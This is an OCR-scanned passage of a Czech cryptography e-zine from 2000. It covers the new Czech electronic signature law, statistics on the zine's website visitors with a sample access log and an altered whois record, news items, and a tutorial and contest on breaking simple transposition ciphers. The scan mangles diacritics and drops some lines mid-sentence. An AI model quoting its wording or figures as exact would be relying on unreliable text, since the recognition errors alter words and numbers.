vlastnoru¢nimi. Pro dosazeni stanovené Grovné divéryhodnosti se ukladd vSem zdjemcim o
poskytovani certifikacnich sluzeb, ktefi chtéji vydéavat kvalifikované certifikaty, ptipadné
kteti chtéji ziskat tzv. akreditaci (stat se akreditovanymi certifikacnimi autoritami), aby splnili
zékonem stanovené pozadavky.

K tomuto procesu je Utad pro ochranu osobnich tdaji (dale jen ,,Ufad”) zmocnén
vydavat vyhlasky, které postup akreditace umozni. Pfiprava takovychto vyhlasek je velmi
naroénym a odpovédnym procesem, ktery nutné musi navazat jak na jiz existujici
bezpecnostni standardy (zejména standardy ETSI, EESSI a CEN), tak i na dokumenty, které
teprve vznikaji v ramci odbornych organti EU a které konkrétné rozpracovavaji problematiku
elektronického podpisu. Ufad musi na tyto dokumenty ve svych vyhlaskach navazat také
proto, aby stanovil konkrétni podminky pro vlastni fungovani elektronickych podpistt v CR
shodné s podminkami v EU. Pro ¢lenské zemé& EU je termin stanoveni téchto podminek (a
jejich konkretizace ve formé¢ pravnich a spravnich predpist, resp. provadécich vyhlasek)
urcen na 19. ¢ervna 2001.

Se zfetelem k vyvoji v EU a k faktu, e Utad ziskal uvedené kompetence v oblasti
elektronického podpisu k datu nabyti uCinnosti zakona, tj. k 1. fijnu, lze ocekavat vznik
pracovni verze vyhlasek, které budou urceny k odborné diskusi, nejdiive na pielomu tohoto a
pristiho roku.

Ke kvalitni ptipravé vyhlasek a k nutnosti sledovat aktudlni vyvoj v této oblasti (nejen
v EU) inicioval pfedseda Utadu RNDr. Karel Neuwirt vznik odborné pracovni komise, ktera
je slozena z odbornikli pro informac¢ni bezpecnost. V této komisi pracuji odbornici ze statni
spravy, kolstvi i komeréni sféry. Doporuéeni této komise Ufad po oponentuie zapracuje do
svych dokumentt.

NS4

o elektronickém podpisu do praxe. Jednd se nejen o slozity legislativni problém, ale
predevsim o otdzku odborné technickou, kde vysledek z diivodu bezpecnosti a kompatibility
nesmi byt hnan kuptedu snahou byt prvni v Evropég, ale snahou spolu s ostatnimi dorazit do
bezpecného cile.

Podrobngjsi informaci Utadu k celé problematice pouZivani elektronickych podpist
a tvorby provadécich vyhlasek naleznete v pfiloze této tiskové zpravy. Zvetejnéna je také na
WWW strankach Utadu, na adrese http://www.uoou.cz

tiskovy mluvéi Utadu pro ochranu osobnich udaji
Mgr. Ladislav Hejlik, 4. 10. 2000
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Informace k zakonu o elektronickém podpisu

K ¢etnym dotaziim, které se tykaji zdkona ¢. 227/2000 Sb., o elektronickém podpisu a
o zméné nckterych zdkonl (zdkon o elektronickém podpisu), moznosti pouzivani
elektronickych podpisti a tvorby provadécich predpist, zveiejiiuje Utad pro ochranu osobnich
ndajti (déle jen ,,Utad*) nasledujici informaci.

Zakon o elektronickém podpisu, ktery byl Parlamentem Ceské republiky piijat 29.
cervna tohoto roku, nabyl Gcinnosti 1. fijna 2000. Pojem elektronického podpisu a jim
podepsané datové zpravy se tak dostava do pravniho fadu Ceské republiky.

K mozZnosti pouzivani elektronického podpisu pred datem ucinnosti zikona a po
tomto datu

Ptijeti zdkona o elektronickém podpisu, resp. nabyti jeho Uc¢innosti neznamena, Ze
teprve od 1. fijna je mozné elektronicky podpis pouzivat.

Jiz v soucasné dobé& tfada lidi své zpravy elektronicky podepisuje a vyuzZiva sluzeb
n¢kterého z poskytovatelii certifikacnich sluzeb (v praxi ovSem spiSe nazyvané ,,certifikacni
autority”). Za hlavni ptfednost takové komunikace zpravidla povazuji moznost piijemce
datové zpravy ovéfit, ze zprava prichazi od uréitého konkrétniho odesilatele a moznost ovéfit,
7e obsah datové zpravy nebyl zménén poté, co byl elektronickym podpisem opatien. Takové
ovéteni probiha zpravidla za soucinnosti tfetich davéryhodnych stran, jiz zminénych
poskytovatelti certifikacnich sluzeb. Informace o jiz existujicich poskytovatelich, jejich
sluzbach, nabidkach a cenach Ize vyhledat na jejich webovych strankéch nebo pfimo v jejich
sidle. Je potieba zdiraznit, Ze zacatek U€innosti zakona o elektronickém podpisu nebrani
stavajicim ,,uzivatelim® elektronického podpisu ani potencialnim dal§im zajemctiim, aby sva
data pouzivana k elektronickému podpisu dale pouzivali a podle svého uvéazeni si vybirali
poskytovatele certifikacnich sluzeb, a to zpravidla na zaklad¢ své duvéry v néj nebo na
zéakladé kvality sluzeb, které nabizi.

Zakon o elektronickém podpisu a praxe

Smyslem zékona je v zavedeni ,legislativniho poradku“ do oblasti pouzivani
elektronického podpisu. Zakonem je upfesnéna pouzivania terminologie a definovany
prislusné pojmy tak, aby byl odliSen stupen divéryhodnosti a bezpecnosti jednotlivych
elektronickych podpist; dale zdkon o elektronickém podpisu stanovi pozadavky na
poskytovatele certifikacnich sluzeb, kteti chtéji vydavat kvalifikované certifikaty, ptipadné se
chtéji stat akreditovanymi poskytovateli certifikacnich sluzeb.

Uvedeny zékon neni pravni Gpravou pro obecné pouzivani elektronického podpisu a
¢innost vSech certifika¢nich autorit (¢i veSkerou jejich cinnost). Zejména ,,nezakazuje*
vytvafeni elektronického podpisu prostiedky, které nejsou podle zdkona oznacené jako
bezpecné a neupravuje pouzivani elektronickych podpist, které podle zakona nedosdhly
parametrt zaru¢ené¢ho elektronického podpisu zalozeného na kvalifikovaném certifikatu.
Zakon o elektronickém podpisu neomezuje zakladani a provozovani certifika¢nich autorit,
které vydavaji certifikaty k datim pro vytvareni elektronického podpisu, pticemz certifikaty,
které tito poskytovatelé vydavaji, nemuseji byt nutné méné kvalitni (tedy bezpecné) nez ty,
které v budoucnu ponesou oznaceni ,kvalifikované”“. Stejné tak plati, ze sluzby
»heakreditovanych® poskytovateli certifika¢nich sluzeb nemusi byt nutné¢ horsi ¢i méné
kvalitni, nez sluzby akreditovanych. Uvedeny Zakon, jak jiz bylo feceno, stanovi pojem
zaruCeny elektronicky podpis, kvalifikovany certifikat, poskytovatel certifikacnich sluzeb
vydavajici kvalifikované certifikaty, akreditovany poskytovatel -certifikaénich sluzeb,
prostiedek pro bezpecné vytvareni elektronického podpisu. Tyto pojmy zvySuji bezpecnost a
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divéryhodnost v procesu elektronického podpisovani dokumentli a v procesu ovétovani
identity odesilatele a neporuSenost odesilaného dokumentu. Je tedy vice nez pravdépodobné,
ze v ramci existujicich aktivit elektronického obchodu nebo v rdmci dalSich nové vznikajicich
aktivit budou vyzadovany pravé tyto vysSS$i stupné bezpecnosti. Zakon o elektronickém
podpisu v § 11 dokonce stanovi, Ze ,,v oblasti organti vefejné moci* bude mozné pouzivat jen
zaruené elektronické podpisy zalozené na kvalifikovanych certifikatech vydanych
akreditovanymi poskytovateli certifika¢nich sluzeb. K této definici podotknéme, ze zde je
urcita nejasnost - zdkon nestanovi, zda je minéna vzdjemna komunikace mezi organy vetejné
moci, nebo komunikace téchto organa s jinymi subjekty — napt. ob¢an se statnim organem.

Jakou formu a jaké pozadavky si tedy piislusny subjekt zvoli, zavisi jen a jen na ném
(s vyjimkou pisobnosti zminéné¢ho § 11). TakZze pro nazornost uved'me, Ze provozovatel
elektronického obchodu jiz nyni mize piijimat elektronicky podepsané objednavky napiiklad
s dodatecnou podminkou, ze data pouzitd odesilatelem k podpisu maji certifikat vydany
nckterym z poskytovatelt certifikacnich sluzeb, kterym davétuje (odtud i1 pouzivany termin
pro poskytovatele certifikacnich sluzeb - diivéryhodna tieti strana).

Tvorba vyhlasek k zakonu o elektronickém podpisu

Aby mohl byt zdkon o elektronickém podpisu naplnén, je nezbytné vydat k nékterym
ustanovenim provadéci vyhlasky. Pro pochopeni slozitosti tohoto procesu piipomeiime par
zékladnich tdaji ze soucasné ptipravy obdobnych vyhlasek a norem v Evropské unii. Zakon
o elektronickém podpisu je do znacné miry kompatibilni se smérnici 1999/ 93/EC ze dne 13.
prosince 1999. Tato smérnice uklada Clenskym statiim pfijmout pravni a spravni piedpisy
nezbytné pro dosazeni souladu s touto smérnici nejpozdéeji do 19. cervence 2001. Doba od
piijeti smérnice do terminu pozadované harmonizace s narodnimi legislativami dava EU
prostor pro zpracovani dokumentd, které uvedenou smérnici konkretizuji a stanou se pro
Clenské staty voditkem pro zpracovani jak vlastnich zadkont, tak i provadécich predpisii a pro
vytvofeni technického zdzemi — napt. pro vybudovani sité statnich akreditovanych zkuseben.

Za nejvyznamnéj$i lze vtéto oblasti povazovat aktivity ETSI (European
Telecommunications  Standards Institute), EESSI (European Electronic Signature
Standardization Initiative) a CEN (European Committee for Standardization). Zde jiz
postupné vznikaji navrhy dokumentli rozpracovéavajicich smérnici. Tyto dokumenty hodla
Utad pii zpracovani vyhlasek, jejich? existenci nas zakon piedpokladd, vyuzit. Tim
dosdhneme kompatibility s EU nejen samotnym textem citovaného zakona, ale rovnéz
stanovenim shodnych podminek pro vlastni fungovani elektronického podpisu.

Se zietelem k vyvoji vEU a k faktu, ze Utad ziskal kompetence podle zakona o
elektronickém podpisu k datu nabyti G¢innosti zakona, tj. k 1. fijnu, lze ocekéavat vznik
pracovni verze vyhlasek, které¢ budou uréeny k odborné diskusi, nejdfive na pfelomu tohoto a
piistiho roku. Po vydani téchto vyhlasek se budou moci v Ceské republice fungujici
poskytovatelé certifikacnich sluzeb, a pfipadné dalSi zdjemci o provozovani této Cinnosti,
rozhodnout — bud’ zlistanou ,,vné*“ zakona, nebo budou vydavat kvalifikované certifikaty a
ucini opatfeni pro splnéni piislusnych ustanoveni zdkona a pfipravovanych provadécich
piedpisii, piipadné, opét po splnéni piislusnych zakonnych piedpokladt, pozadaji Utad o
akreditaci. Ke kvalitni pfipravé vyhlasek a k nutnosti sledovat aktualni vyvoj v této oblasti, a
to nejen v Evropské unii, inicioval predseda Ufadu RNDr. Karel Neuwirt vznik odborné
pracovni komise, ktera je sloZena z odbornikl v oblasti informacni bezpecnosti. V této komisi
pracuji odbornici ze statni spravy, $kolstvi i komeréni sféry. Doporuéeni této komise Utad po
oponentuie zapracuje do svych dokument.

Tvorba provadécich ptedpist k zdkonu o elektronickém podpisu je nejen pomérné
slozitym legislativnim problémem, ale pfedev§im otazkou odborné technickou, kde vysledek
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z diivodu bezpecnosti a kompatibility nesmi byt hnan kuptedu snahou byt prvni v Evropé, ale
snahou spolu s ostatnimi dorazit do bezpecného cile.

F. Statistika navS§tévnosti stranky http://www.mujweb.cz/veda/gcucmp
Mgr. Pavel Vondruska (NBU)

Statistiky byly vytvotfeny na zéklad& ptistupli za poslednich 60 dni. Jedna se o navstévnost za
obdobi 11.8 - 9.10.2000.

Pocet ptistupt celkem : 1558

Nejvice : 188 (12.9 -vyhlaseno Lkolo soutéze), 107 (13.9), 62 (14.9)

Nejméné: 0 (9.9), 0 (10.9), 2 (2.9)

Na zaklad¢ stopy, kterou jste po sobé pii své navstévé zanechali, vam nyni mizZeme
poskytnout tfi nasledujici zajimavé prehledy. Zavérem pak je uvedeno nékolik poznamek k

elektronické stopé, kterou kazdy navstévnik pii navstéve libovolné www stranky dobrovolné
poskytuje a zanechava.

Statistika I.
Jaky maji nav§tévnici této stranky operacni systém ?

Operacni systém Pocet Procent
Windows NT 925 59,37
Windows 95 242 15,53
Windows 98 216 13,86
Windows 2000 99 6,35
Linux 45 2,89
Nepodatilo se identifikovat / Ostatni 22 1,41
FreeBSD 5 0,32
Windows 3.x 2 0,13
SunOS 2 0,13
CELKEM 1558 99,99

Osobné¢ jsem byl prekvapen vysokym poctem navstévnikd z OS Windows NT a mile
piekvapen OS FreeBSD a SunOS.
Pomér :

Operacni system Microsoft : Ostatni 95 : 5
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Graf pristupi na www stranku GCUCMP podle typu OS za obdobi 11.8-9.10
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Statistika II.
Jaky "prohliZze¢" pouZivaji nav§tévnici této stranky ?

"Prohlizec¢" Pocet Procent
Microsoft IE 5.x 1083 69,51
Netscape Navigator 4.x 315 20,22
Microsoft IE 4.x 132 8,47
Nepodarilo se identifikovat / Ostatni 21 1,35
Opera 3 0,19
Microsoft IE 3.x 2 0,13
Netscape Navigator 3.x 2 0,13
CELKEM 1558 100

Tato statistika nepfinesla zadna velka piekvapeni a vysledek odpovida o¢ekavanému
vysledku.

Pomér :

Microsoft IE : Netscape Navigator 79 : 21
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Graf pristupi na www stranku GCUCMP podle typu "prohliZece" za obdobi 11.8-9.10

Statistika III.
Odkud (stat) navstévnici prisli ?

Stat Pocet pristupii
CR 963
Nepodatilo se identifikovat /Nezaznamenano/ (CR?) 399

SK 164

Belgie 16

Rakousko 6

Némecko 6

Svédsko 4

CELKEM 1558
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Priloha - pristupovy log k libovolné www strance

Kazdy, kdo se prihlasi k néjaké www strance, o sobé podava fadu informaci.
Néavstévnik pfimo informuje o svém operacnim systému a pouZzitém prohlizeci. Dale zde
poskytne fadu informaci o tom, kdo je zodpovédny za provoz ptidélené IP adresy. Pokud je
tedy navstévnik z velké firmy, kterd je pfipojena pevnou linkou na Internetu - pak ma tuto IP
adresu pevné pridélenu a lze se dozvédét informace vztahujici se k dané firmé. Tyka se to
samoziejme 1 statnich instituci, ministerstev, vysokych skol, bank apod.

Jako ptiklad uvedu log. informaci z mé stranky 10.10.2000. Jednalo se o navstévnika
pouzivajictho Windows NT a IE 5.0 s pevnou IP adresou : 212.18.9.34 a hlasiciho se z
Némecka. Poskytnuty byly tyto nasledujici informace o odpovédném provozovateli této IP
adresy (pfestoze se jedna o vefejné informace, upravil jsem pro Ucely této ptilohy nékteré

polozky ):

2k sfe sfe sk sk sk sk sk sk sk st st sk sk sk sk sk sk sk sk skoskoskokok kot sk skeskoskosk

n: http://www.mujweb.cz/veda/gcucmp/
date : 10/10/00

time: 14:30

IP adresa: 212.18.9.34

OS: Windows NT

Browser: IE5.0

sk sk sk sk ske sk sk sk sk sk st ste sk sk sk sk she sk sk ske skt oskosko sk sk sk skeskeskoskosk

inetnum: 212.18.9.32 -212.18.9.47

netname: KALLINO-NET

descr: Kallino GmbH *(pro ucely této prilohy zménéno)
descr: Burgerstr. 22 *(pro ucely této piilohy zménéno)
descr: D-81249 Muenchen

descr: Germany

country: DE

admin-c: RH3404-RIPE

tech-c: RH3404-RIPE

status: ASSIGNED PA

mnt-by: MNET-MNT

changed: ovirke@m-net.de 20000918 *(pro Ucely této ptilohy zménéno)
source: RIPE

sk s ot s sk ke ot st sk sk ok o sk sk ot o sk sk ot st sk sk sk st sk sk ok sk sk sk e skeok

route: 212.18.0.0/19

descr: Telekommunikations GmbH *(pro ucely této piilohy zménéno)
descr: Bolzanostr. 100 *(pro ucely této piilohy zménéno)
descr: D-80469 Muenchen

descr: Germany

origin: AS8767

mnt-by: MNET-MNT

changed: ovirke@m-net.de 19980508 *(pro Ucely této ptilohy zménéno)
source: RIPE

sk ook kok ook sk ook sk ok sk ook sk ook kR Rk kR Rk ok

person: Reimar Hanter *(pro ucely této prilohy zménéno)
address: CIS Media Comp. *(pro ucely této piilohy zménéno)
address: Burgstr. 22 *(pro ucely této ptilohy zménéno)
address: D-81249 Muenchen

address: Germany

phone: +49 89 8980 5000 *(pro ucely této prilohy zménéno)
fax-no: +49 89 8980 5001 *(pro ucely této prilohy zménéno)
nic-hdl: RH3404-RIPE

mnt-by: MNET-MNT

changed: ovirke@m-net.de 19990518 *(pro Ucely této ptilohy zménéno)
source: RIPE

sk ook skok ook sk ook sk ok sk ook sk ok kR Rk kR kok ok
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G.Letem Sifrovym svétem

Dovolte mi, abych se touto cestou omluvil v§em, kterym jsem v poslednich 14-ti dnech
nestacil odpovédét na jejich dotazy. Budu se snazit vSe vyftidit alespont dodatec¢né. Piili§
mnoho tukold, které jsem na sebe v posledni dob¢ vzal, mi pohltily Cas, ktery jsem jindy
vénoval témto odpoveédim. Navic jsem zjistil, Ze asi tydenni vypadek post.cz zpusobil, Ze
n¢které odeslané odpovédi prislusny adresat neobdrzel. Pokud nékdo tedy nedostal odpoveéd’,
ozvéte se prosim znovu, nebyl to imysl ... Dékuji za pochopeni.

1.

Seminaf : Soucek, Bene§ - Matematické zéklady informaéni bezpetnosti ZAHAJEN
18.10.2000!

Seminat "Matematické zaklady informacni. bezpe€nosti" se bude konat i v letoSnim roce.
Dohodnuty termin je stieda 15:40 v seminarni mistnosti KSI (Malé Strana, druhé patro).
Seminat je ur€en pro studenty MFF UK, ¢leny GCUCMP a dal§i zajemce o tuto
problematiku. Ugast na seminafi je dobré pfedem konzultovat s vedoucimi seminafe :
e-mail : benes@ksi.ms.mff.cuni.cz ; beda@obluda.cz

Bletchley Park nabizi 25000 liber za nalezeni zatizeni, pomoci kterého se lustila
Enigma za druhé svétové valky.
http://news6.thdo.bbe.co.uk/hi/english/uk/newsid%SF958000/958062.stm
http://news.bbc.co.uk/hi/english/uk/newsid _948000/948625.stm

Na konferenci FoxPro DevCon 1900 (v cervnu 2000 opravdu "vtipnd" nardzka na
problém Y2K) byla pfedstavena novad verze dekompilatoru ReFox 8.25. Tato verze
provadi rekonstrukci zdrojového textu programu zpétnym piekladem modulu .FXP
(.FOX, MPX, .SPX, ...) resp. souboru APP nebo EXE (a to i zaSifrovaného prostiedky
FoxPro !!!). RozliSuje programy vytvorené ve vSech verzich "foxky" od FoxBASE ptes
FoxPro 1.x -2.x aZ po Visual FoxPro 6.0. Jedn4 se o neocenitelnou pomucku v ptipadech,
kdy jste u svych produkti ztratili ptivodni zdrojovy text nebo potifebujete provést
dikladnou kontrolu origindlnich moduli. ReFox také nabizi vlastni ochranu proti
zpétnému dekompilovani (ochrana je vazana na sériové ¢islo programu a zvolené heslo).
Jako byvaly "foxai" cely produkt velice oceiiuji a velmi chvalim.

Microsoft Windows 2000 maji prvni Service Pack. Ceska verze se teprve piipravuje.
Anglickd verze je dostupnd na zndmé adrese :
http://support.microsoft.cz/download/windows2000NT/

Mezi nejprodavané;jsi knihy nakladatelstvi Hentzenwerke Publishing patii kniha : "Tamar
E.Granor, Ted Roche : Hacker’s Guide". Jeji cena pti nakupu v CR je 1990,- K¢.

O ¢em jsme psali pted rokem ?

Crypto-World 10/99 http://www.mujweb.cz/veda/gcucmp/casopis/cryptol0_99.html
A. Back Orifice 2000

B. Sifrovani disku pod Linuxem

C. Microsoft Point-to-Point Tunneling Protocol (PPTP)

D. "INRIA leads nearly 200 international scientists in cracking code following challenge

by Canadian company Certicom"
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A. Soutéz
Mgr. Pavel Vondruska ( NBU )

Cast I11. - Jednoducha transpozice
Lusténi jednoduché transpozice - iplna tabulka (metodika)

Jednoducha transpozice je jedna ze zdkladnich metod Sifrovani. Po jednoduché
Sifrovych systéml vychézi pravé z téchto dvou postupii. Ostatné prvky typu SHIFT apod. v
blokovych Sifrach jsou vlastné€ jen transpozici jednotlivych bitli. Vratme se vSak k tomuto
systému. Transpozice je "pfeskupeni" oteviené¢ho textu podle néjakych pravidel - tato pravidla
se nazyvaji klicem. Vysledny Sifrovy text zachovava frekvenci hlasek piislusného jazyka.
Zptetrhany jsou pouze bigramové vazby a tim je ukryt vyznam plivodniho textu. V takovémto
textu se tedy nevyskytuji dlouhd opakovani, je zachovana frekvence hlasek ptislusného
jazyka, neodpovidaji bigramové frekvence, nelze provést délbu na samohlasky a souhlasky.
Pomér samohlasek a souhlasek je v textu zachovan a je pfiblizn¢ v poméru 40 : 60. Tento
systém se pouzival jesté¢ za druhé svétové valky a v nékterych méné vyspélych statech i v
celkem neddvné dobé. Pouzivala se vSak urc¢itd modifikace, kterd velice znesnadiuje lusténi -
tzv. dvojita netiplna transpozice. Text je nejprve vepsan do tabulky urcitého rozméru, zde jsou
podle prvého klice sloupce rozhazeny a déle je text pfeveden do tabulky o jinych rozmérech,
ktera neni ovSem v poslednim fadku zcela vyplnéna (!) a opét jsou sloupce podle druhého
klice pteskupeny. V ptipadé, ze rozméry tabulek (pocet sloupcii) jsou 30 a vice, je ke zpétné
pfipadech muze byt tento systém (napf. ve spojeni s jednoduchou zaménou) celkem
pouzitelnou Sifrou ur¢enou napt. pro nahradni spojeni, kdy nelze z néjakého divodu pouzit
kvalitni specialni Sifrator.

Vratme se k jednoduché transpozici vyuzivajici plnou tabulku. Ziskame Sifrovy text
rozepsany jako obvykle do pétimistnych skupin. Pofidime frekvenci a zjistime, ze odpovida
frekvenci jazyka. Nejsou zde velkd opakovani a jsou zde skupiny samohlasek a souhlasek.
Toto by mohlo naznacovat, Ze se jedna o transpozici. V pfipad¢, ze se jednd o jednoduchou
transpozici s Uplnou tabulkou, postupujeme takto:

Urceni rozméru tabulky

Spocteme délku Sifrového textu a snazime se urcit pravdépodobny rozmér tabulky.
Ten zjistime tak, Ze délku Sifrového textu rozlozime na soucin prvocisel a z nich
kombinujeme pravdépodobnou velikost tabulky. Méame-li napft. Sifrovy text délky 120, pak
jsou mozné nasledujici velikosti tabulek :
120=2*2*2%*3%*5

Tabulky :

pocet sloupcti * pocet radkii

malo pravdépodobné (bylo by pftilis lehké k feSeni) : 1*120, 2*60 , 3*40, 4*30, 6*20
slozité : 120*1, 60* 2,

tabulky : 8*15, 15*8, 12*10, 10*12, 20*6, 30*4, 40*3

Sifrovy text se vepiSe do "podezielych" tabulek. Poznamenejme, Ze text se vepisuje po
sloupcich (!), viz. ptiklad na konci textu.
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Drtive, nez piejdeme k vlastnimu lusténi, mizeme si do zna¢né miry ovéfit, zda nami
zvolend tabulka je spravnd. Zjistime to na poméru souhldsek a samohldsek v jednotlivych
radcich tabulky. I zde by mél byt ptiblizn€ zachovan pomér samohlasky : souhlasky = 40 : 60.
Kterda z tabulek spliuje tento pomér pro vétSinu svych fadkd, ta je nejpravdépodobnéjsi
tabulkou a zde za¢neme s pokusem o vylusténi pivodniho textu.

LuSténi

Samotné lusténi neni nijak slozité. Ti z vas, ktefi lusti tzv. liStovky v riznych
Casopisech, tento postup jiz prakticky znaji. Pokud nemdme k dispozici vhodny program a
jsme pfili§ pohodlni si jej napsat, nezbyva nez sloupce tabulky rozstiihat a pteskupovat tak,
abychom se snazili zohlednit bigramové cetnosti (napt. PR, ST) a samohlaskové a
souhlaskové vazby, a to ve vSech fadcich najednou. Postupné tedy k sobé pfikladdme vhodné
sloupky, az dostaneme celé bloky otevieného text (éte se po tadcich). Bloky pak jen
preskupime a méame hledany vysledek.

VSe si prakticky jesté¢ zopakujeme na nasledujicim cvicném prikladé.
Cvicny Sifrovy piiklad na jednoduchou transpozici - uplna tabulka

OTSEC NCNUX ATONO TOUTO KXUJU AILBX UVPTD HSEOL KYREN EPSUK
ZELID RZPAU (60 znakt)

Urceni velikosti tabulky
ne : 1*¥60 , 2*30, 3*%20, 4*15,
mozné tabulky : 15*4, 20*3, 10*6, 6*10

Prozradim, Ze tento text byl imysIn¢ volen tak, aby ani pomér samohléasky: souhlasky
nedal zcela jednoznacnou odpovéd’ na rozmér tabulky, v praxi ovSem takovéto piipady
vétSinou nenastavaji, tento ptriklad mél pouze komplikovat samotné lusténi zdkim, kterym
jsem priklad ptedlozil a nechtél jsem, aby jednoduSe zjistili spravnou velikost tabulky.
Sledujte, jak se Sifrovy text plni do tabulky. Zac¢ate¢nikiim n€kdy toto Cini potize a zapisuji jej
omylem do fadkt misto do sloupcti.

rozmér 20*3
ocekavany pomeér 8/12

OECXOTTXULUTSLREUEDP  8/12
TCNANOOUABVDEKEPKLRA  8/12
SNUTOUKIJIXPHOYNSZIZU 8/12

rozmer 15*4
oc¢ekavany pomér 6 /9

OCUOOKUBPSKNULZ  6/9
TNXNUXAXTEYEKIP 6/9
SCAOTUIUDORPZDA 7/8
ENTTOJLVHLESERU 5/10
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rozmér 10*6
oc¢ekavany pomer 4/6

OCOTUUSRUD 5/5
TNNOAVEEKR 4/6
SUOKIPONZZ 4/6
EXTXLTLEEP 3/7
CAOUBDKPLA 4/6
NTUJXHYSIU 4/6
ukézka 6*10

oc¢ekavany pomér 2,4 / 3,6

OAKUKZ 3/3
TTXVYE 2/4
SOUPRL 2/4
ENJTEI 373
COUDND 2/4
NTAHER 2/4
COISPZ 2/4
NULESP 2/4
UTBOUA 4/2
XOXLKU 2/4

Nejpravdépodobnéjsimi tabulkami jsou rozméry 20*3 a 6*10, nésleduji rozméry 10*6 a
nejhtie z testu vysel rozmér 15%4.

Spravny rozmér je 6*10. Vzhledem k malému poctu sloupcti jiz neni problém je spravné
sefadit a dostaneme pfislusny otevieny text :

UKAZKO
VYTEXT
PROLUS
TENIJE
DNODUC
HETRAN
SPOZIC
ESUPLN
OUTABU
LKOUXX

Takze hledanym textem je :

UKAZKOVY TEXT PRO LUSTENI JEDNODUCHE TRANSPOZICE S UPLNOU
TABULKOU XX

Kli¢em je pak postup, jak preskupit sloupce oteviené¢ho textu na sloupce Sifrového textu.
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Na priklad¢ si mizeme vSimnout, ze pti zapisu do tabulky byl doplnén text tak, aby
zcela vyplnil 1 posledni fadek pomoci XX. Pro riizné uzivatele, ktefi systém pouzivaji, mize
byt doplnéni tabulky na uplnou tabulku charakteristické. Text by mél byt doplnén nahodné¢,
ale Casto se pouziva né¢jaky ustaleny zpiisob, ktery kryptoanalytikovi (pokud jej zjisti) poméaha
v lusténi. Napf. se pouziva dopliovani pomoci X nebo pismena abecedy nebo se doplni
podpis apod. VSechna tato doplnéni jsou Spatnd a mohou vést ke snadné kompromitaci
systému (urCeni velikosti tabulky a umisténi nékterych sloupkid). Znalost takovychto
muizeme setkat. Pfipomenime v této souvislosti analogii s nevhodnym dopliiovanim dat pro
Sifrovani symetrickych kli¢t podle normy PKCS#1, v. 1.5 .

Nyni jiZ mtiZeme vyhlasit soutéZni ulohu I11.kola

Ulohou tfetiho kola je vylusténi pfilozeného $ifrového textu. Jedna se o jednoduchou
transpozici - pouzita byla Uplnd tabulka. Rozmér tabulky musite urcit. Text je v Cesting, v
mezinarodni abeced¢ = 26 znaki A-Z (bez hackil a ¢arek) a bez mezer, je rozd€len do skupin
po 5-ti znacich. Prozradim, Ze se jedna o text, ktery se vyskytl na strankach naseho e-zinu.

SIFROVY TEXT

IRJYE VDIPI AVIVZ NTUKM EORZN EOTYE KKLPI TTNNC EIPAE COSMN EOPRL
KEPEP LAPTE NNEDO SOTNK ENOPT LBOAO TROVR OEEIN REEEK UTSHX
EOORM YIJAJ PZOED DEDOD UCSTS ONZOA IKSCU JPPES NISBV FEIIK AEUVU
EJOOO DNMKS EORKB YMOAU ELPNO DKOOO JUNST ZIUOU EEJVG EEDZA
ACEDM KKEEI RNETV

Zasléani celého textu 10 bodt.
Losovani IIl.kola bude 8.12.2000 (18.00 hod).

sk ok s ke sk sk sk sk ok s sk s sk sk sk sk s sk sk sk sk sk sk s sk sk sk sk sk sk s sk sk sk sk sk sk s sk s sk sk sk sk sk sk sk sk sk s sk sk sk sk sk sk s sk sk sk sk sk s sk sk sk sk skokosk

Pravidla soutéze

Soutéz probiha ve ¢tyfech kolech. V seSitech 9/2000 az 12/2000 je uvetejnéna jedna
soutézni uloha a soucasné je uveden doprovodny text k dané uloze. Resitelé, ktefi zaslou do
data, které bude u kazdé¢ tlohy uvedeno, spravné feSeni, budou slosovani a dva vybrani ziskaji
cenu kola. I po tomto datu vSak lze spravna reSeni dale zasilat a ziskat tak hlavni vyhru!

Dne 15.12.2000 bude soutéz ukoncena a z teSitelt, ktefi ziskali nejvice bodl, bude
vylosovan celkovy vitéz. Celkovym vitézem se tedy miiZe stat i ten soutézici, ktery se
zapoji do soutéZe pozdéji, napr. az v prosinci, a FeSeni vSech tloh odeSle najednou v
c¢asovém limitu do 15.12.2000; piijde jen o moznost byt vylosovan jako vitéz ptislusSného
kola.

Dne 20.12.2000 vyjde specialni ¢islo, ve kterém budou uvedena feSeni tloh ze vSech
kol a jméno celkového vitéze; uverejnime také mensi statistiku k celé¢ soutézi. Ceny do
soutéze vénovaly firmy PVT a.s. a AEC spol. s r.0. (jednotliva kola), Globe CZ (cena pro
celkového vitéze).
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Cenou v jednotlivych kolech je bezplatnd registrace vaseho vefejného klice u
certifikacni autority (1x u PVT , 1x u AEC). Jde o poskytnuti certifikatu s nejvyssim
bezpe¢nostnim stupném ochrany na dobu 6 mésicti (cena cca 300,- K¢). Hlavni cenou je
registrace domény prvniho fadu + hosting na webu u firmy GLOBE CZ (v bézné hodnoté

5000,- K&).

Reseni uloh zasilejte pomoci komunika¢niho okna v oddilu -

"SOUTEZ" na URL

adrese http://www.mujweb.cz/veda/gcucmp/ . Vase anonymita je zarucena. Uvedena budou

pouze celd jména jednotlivych vitézi (nebo bude-li si to dotyény ptat, pak misto jména jeho
e-mail adresa, ptipadné pouze pseudonym).

Stav po Il.kole
Pseudonym | Lkolo II.kolo II1.kolo IV kolo CELKEM
datum /bodti | datum /bodi |datum/bodu | datum/bodu

JIM. 12.9/10

Mirek S. 12.9/10 17.10/10

Petr T. 12.9/10 18.10/10

Bohumir S. 12.9/10 18.10/10

Martin K. 12.9/10

FrantiSek K. [12.9/10

Tomas V. 13.9/10 31.10/10

Jan J. 13.9/10 17.10/10

Josef D. 18.9/10

Honza K. 18.9 /10

Vasek V. 2.10/10

Michal B. 4.10/10 18.10/10 &l

Lada R. 4.10/10 24.10/10

Martin V. 18.10/10

Karel S. 24.10/10

Ivan L. 19.10/10

Legenda : cena kola - certifikat u AEC
cena kola - certifikat u PVT
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B. Pisobnost zikona o elektronickém podpisu a vyklad hlavnich pojmi
(Informace o prednasce)
Mgr. Pavel Vondruska ( NBU )

Dne 1.listopadu uspotadalo Sdruzeni pro bezpecnost informacnich technologii a
informacnich systémii (BITIS, http://www.mujweb.cz/veda/bitis) a spolek Ceskd technika
ve velké zasedaci sini rektoratu CVUT piednasku na aktualni téma "Pusobnost zdkona o
elektronickém podpisu a vyklad hlavnich pojmt". Vecera se zicastnilo ptes 40 odbornikt z
Ceské a Slovenské republiky. Po mé tivodni hodinové prednasce nasledovala hodinova
diskuse, do které se zapojila celd fada ucastnikii. Diskuse byla velice zajimava a nesla se ve
zcela nekonfliktnim duchu. Z diskuse vyplynulo, Ze pfi realizaci celého systému pouzivani
